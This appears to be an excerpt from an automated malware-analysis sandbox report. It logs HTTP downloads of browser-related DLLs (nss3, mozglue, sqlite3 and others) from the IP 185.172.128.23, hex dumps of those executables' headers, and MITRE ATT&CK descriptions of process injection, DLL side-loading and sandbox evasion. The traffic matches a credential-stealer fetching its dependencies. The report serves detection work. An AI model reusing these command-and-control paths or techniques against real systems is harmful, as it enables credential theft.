00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:10 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:11 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:13 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:15 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:16 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23

Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/sqlite3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/freebl3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/mozglue.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/msvcp140.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/nss3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/softokn3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/vcruntime140.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

